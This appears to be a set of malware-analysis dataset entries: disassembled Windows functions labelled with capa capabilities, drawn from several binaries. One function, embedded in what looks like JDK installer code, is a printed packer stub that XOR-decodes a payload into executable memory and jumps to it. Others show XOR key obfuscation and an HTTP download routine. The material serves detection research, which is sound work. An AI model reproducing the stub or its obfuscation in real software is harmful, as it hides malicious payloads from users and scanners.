joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b873
Capabilities:
Get common file path

Disassembly:
push 0x20c
mov eax, 0x46d6be
call fcn.004525cd
xor esi, esi
push 0x104
lea eax, [ebp - 0x118]
push esi
push eax
mov edi, ecx
mov dword [ebp - 0x170], esi
call fcn.0044c6d0
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push esi
push esi
push 0x8023
push esi
call dword [sym.imp.shell32.dll_SHGetFolderPathA]
mov ebx, eax
cmp ebx, esi
je 0x42b9a1
lea eax, [ebp - 0x218]
push eax
call fcn.00402794
lea eax, [ebp - 0x218]
push str.SHGetFolderPath_0x
push eax
mov dword [ebp - 4], esi
call fcn.00405526
mov eax, dword [ebp - 0x218]
mov eax, dword [eax + 4]
pop ecx
lea eax, [ebp + eax - 0x218]
pop ecx
mov ecx, dword [eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [eax + 0x14], ecx
push 0x23
lea eax, [ebp - 0x218]
push eax
call fcn.0040a962
lea eax, [ebp - 0x218]
push str.__mode
push eax
call fcn.00405526
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x218]
push eax
call fcn.0040a962
lea eax, [ebp - 0x218]
push 0x47a530
push eax
call fcn.00405526
pop ecx
pop ecx
lea eax, [ebp - 0x218]
push eax
lea edi, [ebp - 0x180]
call fcn.00434dd8
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 1
push ecx
lea esi, [ebp - 0x16c]
mov ecx, eax
mov dword [ebp - 0x16c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_SysInfo.cpp
mov dword [ebp - 0x168], str.SysInfo::SHGetFolderPathAdapter
mov dword [ebp - 0x164], 0x1bf
call fcn.0042bde1
lea eax, [ebp - 0x160]
mov dword [esp], 0x487c28
push eax
call fcn.0043614f
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x134]
call fcn.0040246d
lea edx, [ebp - 0x134]
mov eax, edi
mov dword [ebp - 4], 2
call fcn.0042c761
push esi
push 1
lea ecx, [ebp - 0x134]
call fcn.0040321f
mov eax, edi
call fcn.00452650
ret

Function at 0x42c4f5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [eax + 0x14], 0x10
jb 0x42c4fd
mov eax, dword [eax]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x42c50d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [eax + 0x14], 0x10
jb 0x42c515
mov eax, dword [eax]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x42c529
test al, 0x10
je 0x42c529
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x42cc30
Capabilities:
Create directory

Disassembly:
push 0xe4
mov eax, 0x46d59a
call fcn.004525cd
mov eax, dword [ebp + 0x24]
mov ebx, ecx
mov dword [ebp - 0x40], eax
and dword [ebp - 4], 0
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
jae 0x42cc57
lea eax, [ebp + 8]
mov edi, dword [sym.imp.kernel32.dll_CreateDirectoryA]
push ebx
push eax
call edi
test eax, eax
je 0x42cd21
cmp dword [0x49c100], 0
jg 0x42ccf7
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.0040244c
lea eax, [ebp - 0xf0]
push eax
mov byte [ebp - 4], 1
call fcn.00402794
lea eax, [ebp - 0xf0]
push str.Created__
push eax
mov byte [ebp - 4], 2
call fcn.00405526
pop ecx
pop ecx
lea esi, [ebp - 0xf0]
mov byte [ebp - 4], 3
call fcn.004042cb
mov esi, eax
push str.__directory
push esi
call fcn.00405526
pop ecx
pop ecx
push esi
push 0x1ce
push 0
mov ebx, str.FileUtils::_anonymous_namespace::createDir
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov esi, 0x49c100
call fcn.004016c6
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0
call fcn.004015e8
mov edi, dword [ebp - 0x40]
test edi, edi
je 0x42cd39
lea edx, [ebp + 8]
lea eax, [ebp - 0x2c]
call fcn.0042c761
push eax
mov byte [ebp - 4], 4
call fcn.00412bb4
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040321f
jmp 0x42cd39
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test ebx, ebx
jne 0x42cd4b
lea eax, [ebp + 8]
call fcn.0042c50d
test al, al
je 0x42cd4b
push 0
push 1
lea ecx, [ebp + 8]
call fcn.0040321f
call fcn.00452650
ret
push str.System_error
push esi
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.FileUtils::_anonymous_namespace::createDir
mov dword [ebp - 0x44], 0x1d7
lea ebx, [ebp - 0x4c]
call fcn.0040244c
lea eax, [ebp - 0xf0]
push eax
mov byte [ebp - 4], 5
call fcn.00402794
lea eax, [ebp - 0xf0]
push str.CreateDirectory_
push eax
mov byte [ebp - 4], 6
call fcn.00405526
pop ecx
pop ecx
lea esi, [ebp - 0xf0]
mov byte [ebp - 4], 7
call fcn.004042cb
mov esi, eax
push 0x47e228
push esi
call fcn.00405526
pop ecx
pop ecx
mov ecx, edi
push esi
lea edi, [ebp - 0x58]
call fcn.004374b8
lea ecx, [ebp - 0x38]
push ecx
mov esi, ebx
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.0041b5e6
lea eax, [ebp - 0x38]
mov dword [esp], 0x4878f8
push eax
call fcn.0043614f
int3
Function at 0x42e263
Capabilities:
Get file version info

Disassembly:
push 0xf0
mov eax, 0x46d350
call fcn.004525cd
mov eax, dword [ebp + 8]
push eax
mov esi, ebx
mov dword [ebp - 0x54], ebx
call fcn.0040244c
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x20], esi
mov dword [ebx + 0x24], esi
mov byte [ebp - 4], 1
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x40], esi
jb 0x42e29f
mov eax, dword [ebx]
jmp 0x42e2a1
mov eax, ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
cmp eax, esi
jne 0x42e359
push str.System_error
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x464
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.0040244c
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 2
call fcn.00402794
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfoSize_
push eax
mov byte [ebp - 4], 3
call fcn.00405526
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 4
call fcn.004042cb
mov esi, eax
push 0x47e228
push esi
call fcn.00405526
pop ecx
pop ecx
mov ecx, dword [sym.imp.version.dll_GetFileVersionInfoSizeA]
push esi
lea edi, [ebp - 0x60]
call fcn.004374b8
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
push ecx
lea esi, [ebp - 0x4c]
mov ecx, eax
call fcn.0041b5e6
lea eax, [ebp - 0x3c]
mov dword [esp], 0x4878f8
push eax
call fcn.0043614f
mov esi, eax
lea eax, [ebx + 0x1c]
call fcn.0040fa1a
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x20]
sub eax, ecx
cmp dword [ebx + 0x14], 0x10
jb 0x42e375
mov edx, dword [ebx]
jmp 0x42e377
mov edx, ebx
mov edi, dword [sym.imp.version.dll_GetFileVersionInfoA]
push ecx
push eax
push dword [ebp - 0x40]
push edx
call edi
test eax, eax
jne 0x42e415
push str.System_error
mov dword [ebp - 0x4c], str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_FileUtils.cpp
mov dword [ebp - 0x48], str.VersionResource::VersionResource
mov dword [ebp - 0x44], 0x46d
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.0040244c
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 6
call fcn.00402794
lea eax, [ebp - 0xfc]
push str.GetFileVersionInfo_
push eax
mov byte [ebp - 4], 7
call fcn.00405526
pop ecx
pop ecx
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 8
call fcn.004042cb
mov esi, eax
push 0x47e228
push esi
call fcn.00405526
pop ecx
pop ecx
mov ecx, edi
push esi
lea edi, [ebp - 0x60]
call fcn.004374b8
mov byte [ebp - 4], 9
jmp 0x42e33b
mov eax, ebx
call fcn.00452650
ret 4
Function at 0x433f6c
Capabilities:
Identify system language via api

Disassembly:
push 4
mov eax, 0x467308
call fcn.00452564
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetThreadLocale]
push eax
mov eax, esi
call fcn.0043614f
pop ecx
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.0043614f
pop ecx
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.0043614f
mov eax, esi
mov dword [esp], 0x409
call fcn.0043614f
pop ecx
mov eax, esi
call fcn.0045263c
ret

Function at 0x43614f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x43615e
pop dword [ebp - 8]
mov eax, 0xfdc1ac63
add eax, 0x281b4fb
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x46e18
push 0
mov eax, 0x37497aec
add eax, 0xc8fdb5c4
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x3afd
xor esi, esi
add esi, eax
mov edx, 0xf54cd51a
add edx, 0xb0202e6
add edx, dword [ebp - 8]
mov edi, 0x11497bbc
sub edi, 0x7be9cf19
mov dword [ebp - 4], 0x7b613050
mov ebx, dword [edx]
add dword [ebp - 4], esi
xor ebx, edi
sub dword [ebp - 4], eax
mov dword [esi], ebx
mov dword [ebp - 4], 0x9fca84a7
add esi, 4
add edx, 0x2850f7
sub edx, 0x2850f3
loop 0x4361b9
add eax, 0xad066419
sub eax, 0xad058552
xor ebx, ebx
add ebx, eax
add eax, 0xb00c8b72
add eax, 0x4ff37493
mov ecx, 0xa9bcd829
add ecx, 0x568327d7
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x43946a
Capabilities:
Check mutex on windows

Disassembly:
push 0xa8
mov eax, 0x46ce6e
call fcn.00452564
push str.Global_MSIExecute
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
mov dword [ebp - 4], esi
cmp eax, esi
je 0x43953c
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 8], esi
je 0x43951c
cmp dword [0x49c100], 1
jg 0x43951c
lea eax, [ebp - 0xb4]
push eax
call fcn.00402794
lea eax, [ebp - 0xb4]
push str.finish_waiting_for_mutex:
push eax
mov byte [ebp - 4], 1
call fcn.00405526
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040ad34
lea eax, [ebp - 0xb4]
push eax
push 0x1c8
push 1
mov ebx, str.msi::waitForInstallationCompletion
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_MsiUtils.cpp
mov esi, 0x49c100
call fcn.004016c6
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0
call fcn.004015e8
cmp dword [ebp - 0x14], 0x102
jne 0x43953c
xor bl, bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call fcn.0043614f
pop ecx
mov al, bl
call fcn.0045263c
ret
mov bl, 1
jmp 0x439527

Function at 0x444307
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x4976a0]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x4699d5
call fcn.00452564
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x44435d
push 0xc8
lea esi, [ebp - 0x20]
call fcn.0043614f
push 0x487864
mov eax, esi
push eax
call fcn.0043614f
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.0041dfc8
push 0x482424
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.0043614f
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00443078
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.0041a86e
push 1
lea esi, [ebp]
call fcn.0041a86e
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0044a628
add ebp, 0x244
leave
ret

Function at 0x44a628
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4976a0]
jne 0x44a632
repz ret
jmp fcn.00454985
Function at 0x44610c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44614b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44614b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44614b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44614b
cmp dword [ecx + 0x74], 0xe
jbe 0x44614b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x44bcc8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x44bd65
push ebx
push esi
call fcn.0044bc91
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0044bc25
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x44bd12
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x44bd64
push edi
push eax
call fcn.0044a62b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x44bd32
call fcn.0044a679
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x44bd63
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0044bc25
add esp, 0x20
test eax, eax
jne 0x44bd51
push edi
call fcn.0044a679
jmp 0x44bd59
push ebx
call fcn.0044a679
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x44cf74
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4550c8
push 0x4550c0
push str.FlsAlloc
push 0x1f
call fcn.0044ce33
mov esi, eax
add esp, 0x10
test esi, esi
je 0x44cfa8
push dword [ebp + 8]
mov ecx, esi
call dword [0x453130]
call esi
jmp 0x44cfae
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x44cff4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4550d8
push 0x4550d0
push str.FlsGetValue
push 0x21
call fcn.0044ce33
mov esi, eax
add esp, 0x10
test esi, esi
je 0x44d02b
push dword [ebp + 8]
mov ecx, esi
call dword [0x453130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x44d033
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4550e0
push 0x4550d8
push str.FlsSetValue
push 0x22
call fcn.0044ce33
mov esi, eax
add esp, 0x10
test esi, esi
je 0x44d06d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x453130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x452430
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45245d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45245d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10005fd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x10006028
cmp byte [esi + ebx - 1], 0xa
je 0x10005ffc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x1000718c], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x41edbb
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x493a9c
call fcn.00493440
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x20], 0x6f7d
cmp dword [ebp - 0x20], 0x7285
jle 0x41ee4b
xor esi, esi
mov dword [ebp - 0x18], esi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov edi, esi
mov ecx, ebx
sar edi, cl
mov dword [ebp - 0x28], edi
and dword [ebp - 0x2c], 0
mov esi, edi
mov ecx, eax
sar esi, cl
mov edi, dword [ebp - 0x2c]
mov eax, esi
xor eax, edi
cdq
push edx
push eax
mov ecx, 0xa9e7e8
call fcn.0041c2f7
inc edi
cmp edi, 0x1f46
jl 0x41ee05
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x6aa
mov edi, dword [ebp - 0x28]
jl 0x41edf8
inc ebx
cmp ebx, 0x5d16
mov esi, dword [ebp - 0x18]
jl 0x41edea
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x13a8
jl 0x41ede8
mov edi, dword [ebp - 0x14]
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x6b99
jge 0x41ee67
mov edx, 0xa8ab00
mov ecx, 0xa9e7e8
call fcn.0041dd76
or dword [ebp - 4], 0xffffffff
jmp 0x41ee8e
mov eax, dword [edi + 0x10]
xor ebx, ebx
mov ecx, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
cmp ebx, ecx
jae 0x41efdd
mov dword [ebp - 0x2c], 0x3bff
cmp dword [ebp - 0x2c], 0x3cf4
jle 0x41ef3c
push 0
push 0
push 0
push 0
push 0
call dword [0xaa1214]
xor esi, esi
mov dword [ebp - 0x28], esi
mov edi, esi
mov dword [ebp - 0x24], 0x66b5
xor eax, eax
mov dword [ebp - 0x20], eax
lea ebx, [edi + eax]
mov esi, 0x58d8
mov eax, ebx
cdq
push edx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401a98
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x41eefc
mov eax, dword [eax]
push eax
call fcn.0047c13a
pop ecx
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.0041c762
inc ebx
dec esi
jne 0x41eee5
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x603
jl 0x41eedd
dec edi
dec dword [ebp - 0x24]
jne 0x41eed8
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x81f
jl 0x41eecf
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x1c]
cmp dword [edi + 0x10], ebx
ja 0x41ef4b
push 0xa8a8bc
call fcn.00477cee
cmp dword [edi + 0x14], 8
jb 0x41ef55
mov eax, dword [edi]
jmp 0x41ef57
mov eax, edi
movzx esi, word [eax + ebx*2]
mov dword [ebp - 0x28], esi
mov dword [ebp - 4], 2
cmp dword [ebp - 0x2c], 0x3ae9
jge 0x41ef79
push 0xa8ab20
call fcn.0047c13a
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x41efa6
lea eax, [ebx - 0x1dcf]
movzx ecx, ax
mov eax, ecx
and eax, esi
add eax, eax
sub ecx, eax
add ecx, esi
movzx esi, cx
mov eax, dword [ebp - 0x28]
movzx eax, ax
add eax, ebx
xor edx, edx
push 0x19
pop ecx
div ecx
mov ecx, edx
shl esi, cl
mov eax, dword [ebp - 0x18]
add eax, esi
inc ebx
mov ecx, dword [ebp - 0x30]
jmp 0x41ee98
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401d7e
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x41cbe7
call fcn.004172a0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040f25b
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040f25b
mov eax, dword [edi + 0x18]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x1c], eax
lea eax, [edi + 0x20]
push eax
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 1
call fcn.0040f25b
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, dword [edi + 0x40]
mov dword [esi + 0x40], eax
mov eax, dword [edi + 0x44]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x48]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x4c]
mov dword [esi + 0x4c], eax
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x402cb1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
lea eax, [esi + 1]
push eax
push 0x40
call dword [0x42002c]
mov edi, eax
mov ebx, 0x3e8
push ebx
lea eax, [ebp - 0x3f4]
push 0
push eax
mov dword [ebp - 8], edi
mov byte [edi + esi], 0
call fcn.0041728e
and dword [ebp - 4], 0
add esp, 0xc
test esi, esi
je 0x402d61
mov eax, dword [ebp + 8]
sub eax, edi
mov edi, dword [0x420028]
mov dword [ebp - 0xc], eax
push str.UABCOXGQSB
lea eax, [ebp - 0x3f4]
push eax
call edi
push str.SL518KJ
lea eax, [ebp - 0x3f4]
push eax
call edi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, dword [ebp - 8]
call dword [0x420024]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
push ebx
push 0
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
mov byte [esi], al
lea eax, [ebp - 0x3f4]
push eax
call fcn.0041728e
add esp, 0xc
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x402d02
push ebx
lea eax, [ebp - 0x3f4]
push 0
push eax
call fcn.0041728e
mov eax, dword [ebp - 8]
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4052a3
Capabilities:
Check http status code

Disassembly:
mov eax, 0x41d003
call fcn.004172a0
sub esp, 0x598
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 4], 1
call fcn.0040f25b
lea eax, [ebp - 0xa4]
push eax
call fcn.00404b45
add esp, 0x10
push 0xf
pop ecx
push 0x5f5e0ff
mov esi, eax
xor ebx, ebx
lea edi, [ebp - 0x68]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [0x63d15c]
push eax
call dword [0x63d0f4]
push ebx
push ebx
xor edi, edi
push ebx
inc edi
push ebx
lea ecx, [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
call fcn.0040f45b
push eax
call dword [0x63d058]
push dword [0x62c334]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x64]
xor esi, esi
call dword [0x63d134]
test eax, eax
jne 0x405335
mov esi, edi
cmp dword [ebp - 0x18], ebx
je 0x405469
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x50]
push dword [ebp - 0x58]
push dword [ebp - 0x18]
call dword [0x63d158]
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x405460
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x62c188]
push dword [ebp - 0x3c]
push 0x423394
push dword [ebp - 0x24]
call dword [0x63d18c]
mov edi, eax
cmp edi, ebx
je 0x405459
cmp esi, ebx
je 0x4053ad
or dword [ebp - 0x20], 0x10300
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [0x63cf60]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x63d120]
push ebx
mov esi, eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0x13
push edi
mov dword [ebp - 0x28], 0x100
call dword [0x63d1a4]
test eax, eax
jne 0x4053fd
lea ecx, [ebp + 8]
xor esi, esi
mov byte [ebp - 4], bl
call fcn.0040f28f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.0040f28f
mov eax, dword [ebp - 0x2c]
mov edx, esi
jmp 0x40548f
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041042e
pop ecx
cmp eax, 0xc8
jne 0x4053da
cmp esi, ebx
je 0x405459
jmp 0x405454
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x5a4]
push eax
push edi
call dword [0x63d080]
xor esi, esi
cmp dword [ebp - 0x10], ebx
jbe 0x405459
push 1
lea eax, [ebp + esi - 0x5a4]
push eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
push eax
call fcn.0041047f
inc dword [ebp - 0x14]
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x405435
cmp dword [ebp - 0x10], ebx
ja 0x405417
push edi
call dword [0x63d054]
push dword [ebp - 0x24]
call dword [0x63d054]
push dword [ebp - 0x18]
call dword [0x63d054]
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.0040f28f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.0040f28f
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret